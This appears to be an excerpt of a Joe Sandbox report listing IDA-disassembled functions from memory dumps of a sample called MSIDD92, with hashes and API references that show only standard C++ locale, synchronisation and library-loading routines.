Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: eba3e8cac69ef67dfdee8f93c7cf4b25866194bdba7b7a4c12409c05c48abc44
Instruction ID: 9d53e1f92a0d581564504cf2f4ef32fbfd1c1ab024f4426d8b91fd16df237464
Opcode Fuzzy Hash: eba3e8cac69ef67dfdee8f93c7cf4b25866194bdba7b7a4c12409c05c48abc44
Instruction Fuzzy Hash: 4101C035900A199BCF01FB68D846AAD7B61EF84721F29400AE411AB391EF70DE019FB0

Function 00D82664 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8266B
std::_Lockit::_Lockit.LIBCPMT ref: 00D82675

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

codecvt.LIBCPMT ref: 00D826AF
std::_Facet_Register.LIBCPMT ref: 00D826C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00D826E6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: a779d24019a53494f8c3ca37a0af75518598dd8b54d18975d19eedc1366ab46b
Instruction ID: 6d614f0b843994758d9408002c4c93b81f9400ce31bad94149ca2bb7002a3f3f
Opcode Fuzzy Hash: a779d24019a53494f8c3ca37a0af75518598dd8b54d18975d19eedc1366ab46b
Instruction Fuzzy Hash: 3701DE35900219DBCF05FB64E8466BE7BA1EF80720F28400AF411AB391EF709E019BB0

Function 00D87775 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8777C
std::_Lockit::_Lockit.LIBCPMT ref: 00D87786

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

collate.LIBCPMT ref: 00D877C0
std::_Facet_Register.LIBCPMT ref: 00D877D7
std::_Lockit::~_Lockit.LIBCPMT ref: 00D877F7

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 3803d7bf6741b32789ec8daf65d0a052ba9262cb6e18230a7bbe19181b01a2c7
Instruction ID: 372e8923aacdb279848c140ffbb0fcdb42e25c269df8a6c76a983ddcf32e3c82
Opcode Fuzzy Hash: 3803d7bf6741b32789ec8daf65d0a052ba9262cb6e18230a7bbe19181b01a2c7
Instruction Fuzzy Hash: 95018075904219DBCF05FB64D8466AE7771EF84720F28454AE415AB392EF74DE01CBB0

Function 00D938C1 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D938C8
std::_Lockit::_Lockit.LIBCPMT ref: 00D938D2

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

collate.LIBCPMT ref: 00D9390C
std::_Facet_Register.LIBCPMT ref: 00D93923
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93943

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 51be6e1463aef441c46bcf2b4911d20b5f8fff21b36a60614895e298d3e040cc
Instruction ID: 5227f24a12fd033fb2b4ba095caafaf193406b49d9ab866c6c51f29a3084c7a9
Opcode Fuzzy Hash: 51be6e1463aef441c46bcf2b4911d20b5f8fff21b36a60614895e298d3e040cc
Instruction Fuzzy Hash: 9C019235900619DBCF05EB64D8067BEBB65EF84720F28450AF415AB391EF749F018BB4

Function 00D8789F Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D878A6
std::_Lockit::_Lockit.LIBCPMT ref: 00D878B0

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

messages.LIBCPMT ref: 00D878EA
std::_Facet_Register.LIBCPMT ref: 00D87901
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87921

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: a5d3ff9407f1304051806fa1639f27491844ed746fdb0b1123774c6eaff22f33
Instruction ID: ab774d2dad9cdbaac5e08881906d7478b5a4ec608661e44cf058935ed0fa8883
Opcode Fuzzy Hash: a5d3ff9407f1304051806fa1639f27491844ed746fdb0b1123774c6eaff22f33
Instruction Fuzzy Hash: 3A01C035900219CBCF05FB64D8466AE7766EF84720F28440AF418AB3A2EF74DE01CBB0

Function 00D8780A Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87811
std::_Lockit::_Lockit.LIBCPMT ref: 00D8781B

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

ctype.LIBCPMT ref: 00D87855
std::_Facet_Register.LIBCPMT ref: 00D8786C
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8788C

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: e0b57ff005c08687136d7ec6733affd15d8ec3480d27fb21ba17f75d37fa90b4
Instruction ID: eb74cbe92387904c9a6b3529dbd322015a3a8359ba34e340fb06dc8f6e652ad0
Opcode Fuzzy Hash: e0b57ff005c08687136d7ec6733affd15d8ec3480d27fb21ba17f75d37fa90b4
Instruction Fuzzy Hash: 3C01C075904219DBCB05FBA4D80A6AD7B71EF80720F28450AE411AB391EF70DE01CBB0

Function 00D93956 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D9395D
std::_Lockit::_Lockit.LIBCPMT ref: 00D93967

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

messages.LIBCPMT ref: 00D939A1
std::_Facet_Register.LIBCPMT ref: 00D939B8
std::_Lockit::~_Lockit.LIBCPMT ref: 00D939D8

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 063173feec5bfb2a0cbeff443ac5168151f08ed7957ac57e0bccd390b37ae8d2
Instruction ID: 188ac98054a14f20245d2b984f46c7735c9525aec62f9730b6e864eb017440f6
Opcode Fuzzy Hash: 063173feec5bfb2a0cbeff443ac5168151f08ed7957ac57e0bccd390b37ae8d2
Instruction Fuzzy Hash: 3401C0359002199BCF01EB64D8067AD77B5EF80720F28450AF415AB391EF709F01CBB0

Function 00D87934 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8793B
std::_Lockit::_Lockit.LIBCPMT ref: 00D87945

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

messages.LIBCPMT ref: 00D8797F
std::_Facet_Register.LIBCPMT ref: 00D87996
std::_Lockit::~_Lockit.LIBCPMT ref: 00D879B6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 6bae5577ff7e9d7d7d541cff17eab3e8cb9284535df4ef73ff90d73a5bfeb9e5
Instruction ID: f76c417f0bb467667a9867df9a9f0771068dc45e99da8e8d2ab04abca86af269
Opcode Fuzzy Hash: 6bae5577ff7e9d7d7d541cff17eab3e8cb9284535df4ef73ff90d73a5bfeb9e5
Instruction Fuzzy Hash: AE01C0759002199BCF01FB64D9066AE7762EF80720F29440AF418AB391EF70DE018BB1

Function 00D93BAA Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93BB1
std::_Lockit::_Lockit.LIBCPMT ref: 00D93BBB

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

moneypunct.LIBCPMT ref: 00D93BF5
std::_Facet_Register.LIBCPMT ref: 00D93C0C
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93C2C

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 28a4059dea216c1adea89cceed3204ab79b9f19c86092d9025a3e03645253d23
Instruction ID: 17a3dd196ee4cf45c755b36ad5bc5fea496c1d65d30925cab7430cc323869202
Opcode Fuzzy Hash: 28a4059dea216c1adea89cceed3204ab79b9f19c86092d9025a3e03645253d23
Instruction Fuzzy Hash: 7B01D23590061ADBCF15FB64D9066AD7762EF80720F28450AF414BB391EF719E01CBB0

Function 00D93B15 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93B1C
std::_Lockit::_Lockit.LIBCPMT ref: 00D93B26

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

moneypunct.LIBCPMT ref: 00D93B60
std::_Facet_Register.LIBCPMT ref: 00D93B77
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93B97

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 1a5b8113fce8457dd36b04e1e5f347961513cc3776f24b71977e551b383bb20c
Instruction ID: 59e437a0598e2b74c297945d83e523a2ab3c1137b1afb8056087aedc94e3e88a
Opcode Fuzzy Hash: 1a5b8113fce8457dd36b04e1e5f347961513cc3776f24b71977e551b383bb20c
Instruction Fuzzy Hash: 8301D235900319DBCF01EB64D8466AEB761EF80728F28400AF418AB391EF749E018BB0

Function 00D87CB2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87CB9
std::_Lockit::_Lockit.LIBCPMT ref: 00D87CC3

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

moneypunct.LIBCPMT ref: 00D87CFD
std::_Facet_Register.LIBCPMT ref: 00D87D14
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87D34

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 6c5ef7454abaf6f48e3fb3c2a0778f63295568567c0e7de64baf8f889aec0f2c
Instruction ID: 1b1ec3a39c38571d9b749763d0c2577d00190107020d48a800fef9bc7f46b90c
Opcode Fuzzy Hash: 6c5ef7454abaf6f48e3fb3c2a0778f63295568567c0e7de64baf8f889aec0f2c
Instruction Fuzzy Hash: 5C01C035904619DBCF01FBA4D8066BE7761EF84720F28450AF811AB392EF74DE018BB0

Function 00D87C1D Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87C24
std::_Lockit::_Lockit.LIBCPMT ref: 00D87C2E

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

moneypunct.LIBCPMT ref: 00D87C68
std::_Facet_Register.LIBCPMT ref: 00D87C7F
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87C9F

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 9c5eedb4ec581912488acb45d8b120c3ace532d5f64fa3add9c56fe82ec0caa8
Instruction ID: 1a6ff1b4a48d82c472da4a746fc2133f008c53121f12dbc7cee9fff8a739b6e0
Opcode Fuzzy Hash: 9c5eedb4ec581912488acb45d8b120c3ace532d5f64fa3add9c56fe82ec0caa8
Instruction Fuzzy Hash: 8A01C0359002198BCB11FB64D9467BEB7A1EF80720F28440AE415AB392EF74DE018BB0

Function 00D87DDC Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87DE3
std::_Lockit::_Lockit.LIBCPMT ref: 00D87DED

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

moneypunct.LIBCPMT ref: 00D87E27
std::_Facet_Register.LIBCPMT ref: 00D87E3E
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87E5E

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: da41b63206619a07376ceb275bd3a4ee498316d8743c251b6cc3a9e06465d66f
Instruction ID: 66466a662fd29b00c2a3fc0739cf230b592ed5d93a123e43632b3768ed1a91d6
Opcode Fuzzy Hash: da41b63206619a07376ceb275bd3a4ee498316d8743c251b6cc3a9e06465d66f
Instruction Fuzzy Hash: 7601C03590461A9BCB12FB64D8466BE7761EF84720F28444AF511AB391EF70DE019BB0

Function 00D87D47 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87D4E
std::_Lockit::_Lockit.LIBCPMT ref: 00D87D58

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

moneypunct.LIBCPMT ref: 00D87D92
std::_Facet_Register.LIBCPMT ref: 00D87DA9
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87DC9

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: fc6ab636518469687e3813aab185f531e376ba4cdd09d9dcc9dee8c6ca560d4f
Instruction ID: 537806a91b399eecb4dcbe6d2b14d5a63ec461f07a72de02db027fbd30ba5d51
Opcode Fuzzy Hash: fc6ab636518469687e3813aab185f531e376ba4cdd09d9dcc9dee8c6ca560d4f
Instruction Fuzzy Hash: 0601D235900619DBCF01FB64D846ABE77A2EF85720F28440AF411AB391EF70DE018BB0

Function 00D9782B Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00DD4AF8,?,?,00D72627,00DD571C,00DBCCC0), ref: 00D97835
LeaveCriticalSection.KERNEL32(00DD4AF8,?,?,00D72627,00DD571C,00DBCCC0), ref: 00D97868
RtlWakeAllConditionVariable.NTDLL ref: 00D978DF
SetEvent.KERNEL32(?,00D72627,00DD571C,00DBCCC0), ref: 00D978E9
ResetEvent.KERNEL32(?,00D72627,00DD571C,00DBCCC0), ref: 00D978F5

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 67b242e90d92818b12f155a8a9c8ae96aa03cc0135f3c8a61803decebbe05be2
Instruction ID: 105bd86fd567aa564ca8177afef34037daa985996d3626f657d3aa367ab22126
Opcode Fuzzy Hash: 67b242e90d92818b12f155a8a9c8ae96aa03cc0135f3c8a61803decebbe05be2
Instruction Fuzzy Hash: 6B013C35A46321DFC715AF18FC48AA83B66FB49711B05416BF842D7324DB705D01DBB8

Function 00D76090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00D760F4
GetLastError.KERNEL32 ref: 00D76190

Part of subcall function 00D71FC0: FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,00DB938D,000000FF,?,80070057,?,?,00000000,00000010,00D71B09,?), ref: 00D72040

LoadLibraryExW.KERNEL32(?,00000000,00000000,00000009,00DCB2DC,00000001,00000000), ref: 00D7614E

Strings

ntdll.dll, xrefs: 00D76126

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: DirectoryErrorFindLastLibraryLoadResourceSystem
String ID: ntdll.dll
API String ID: 4113295189-2227199552
Opcode ID: ff3479938af2059b77599f79360a3b15d96d83acf269b7d0bb6de73605eab9d2
Instruction ID: 85130e289d82890891376b36ad9ab59f561c7b620d334778679bb819ffe837b2
Opcode Fuzzy Hash: ff3479938af2059b77599f79360a3b15d96d83acf269b7d0bb6de73605eab9d2
Instruction Fuzzy Hash: 58316D716007459BD720DF68CC49BAEB7F9EB54710F14861AE829D72D1FB70A904CB60

Function 00D8D2C2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8D2C9

Part of subcall function 00D86FF9: _Maklocstr.LIBCPMT ref: 00D87019
Part of subcall function 00D86FF9: _Maklocstr.LIBCPMT ref: 00D87036
Part of subcall function 00D86FF9: _Maklocstr.LIBCPMT ref: 00D87053
Part of subcall function 00D86FF9: _Maklocchr.LIBCPMT ref: 00D87065
Part of subcall function 00D86FF9: _Maklocchr.LIBCPMT ref: 00D87078

_Mpunct.LIBCPMT ref: 00D8D356
_Mpunct.LIBCPMT ref: 00D8D370

Strings

$+xv, xrefs: 00D8D37B

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 66541b2301936265e7ea245760f2da77c3cecf24ca43f37d57499d231400a86e
Instruction ID: 2b4c9874ce7e935b41bb9fac81b4361b3622b2178b90b617e8fa395edcc0a70b
Opcode Fuzzy Hash: 66541b2301936265e7ea245760f2da77c3cecf24ca43f37d57499d231400a86e
Instruction Fuzzy Hash: 7421AEB1904B52AED725EF75849073BBFE8EB09700B04495AE499C7A81E734E601CBB0

